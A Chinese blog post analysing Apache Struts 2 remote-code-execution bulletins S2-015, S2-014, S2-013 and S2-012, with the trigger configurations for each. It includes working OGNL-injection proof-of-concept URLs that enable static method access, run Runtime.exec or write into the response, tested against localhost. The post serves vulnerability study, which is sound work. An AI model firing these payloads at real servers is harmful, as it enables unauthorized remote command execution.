关于struts 2为什么会有代码执行漏洞的小帖子

版本下载

最近struts 2爆了一些很厉害的漏洞,于是乎就趋之若鹜的来分析一下。

首先因为是struts 2的漏洞,首先需要struts 2的各个版本来分析一下,这里有各种版本的下载,当然GitHub上面也会有

http://people.apache.org/builds/struts/

Struts结构

把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。

struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

关于action的定义是在struts.xml中,其中<default-action-ref>是所有action都捕获不到时的选项。

<result type="redirectAction">的作用是捕获到该action重定向到其他页面。

最后include了另外一个XML

<package name="default" namespace="/" extends="struts-default">

        <default-action-ref name="index" />

        <global-results>
            <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

        <action name="index">
            <result type="redirectAction">
                <param name="actionName">HelloWorld</param>
                <param name="namespace">/example</param>
            </result>
        </action>
    </package>

    <include file="example.xml"/>
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。

<package name="example" namespace="/example" extends="default">

        <action name="HelloWorld" class="example.HelloWorld">
            <result>/example/HelloWorld.jsp</result>
        </action>

        <action name="Login_*" method="{1}" class="example.Login">
            <result name="input">/example/Login.jsp</result>
            <result type="redirectAction">Menu</result>
        </action>

        <action name="*" class="example.ExampleSupport">
            <result>/example/{1}.jsp</result>
        </action>

        <!-- Add actions here -->
    </package>

OGNL语法

struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面

http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
http://blog.csdn.net/songylwq/article/details/7568859
http://developer.51cto.com/art/201203/322509.htm

Struts近期漏洞

漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
http://struts.apache.org/development/2.x/docs/security-bulletins.html

S2-015

官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found

详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection
http://struts.apache.org/development/2.x/docs/s2-015.html

S2-014

官方描述
 A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
<s:url id="url" action="HelloWorld" includeParams="all">
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
<li>
    <s:url id="url" action="HelloWorld" includeParams="all">
        <s:param name="request_locale">en</s:param>
    </s:url>
    <s:a href="%{url}">English</s:a>
</li>
POC
执行代码
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}

不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7

S2-013

官方描述

A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution

触发条件

这个洞和S2-014原理相同,因为官方没修不好而报了两次。

POC

这个可以成功执行

http://localhost:8088/blank2.3.1/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的

http://localhost:8088/blank2.3.1/example/HelloWorld.action
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

S2-012

官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个  type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
POC
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

S2-011

官方描述,DOS和我关系不大
Long request parameter names might significantly promote the effectiveness of DOS attacks

S2-010

官方描述
这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。
When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes



没有更多推荐了,返回首页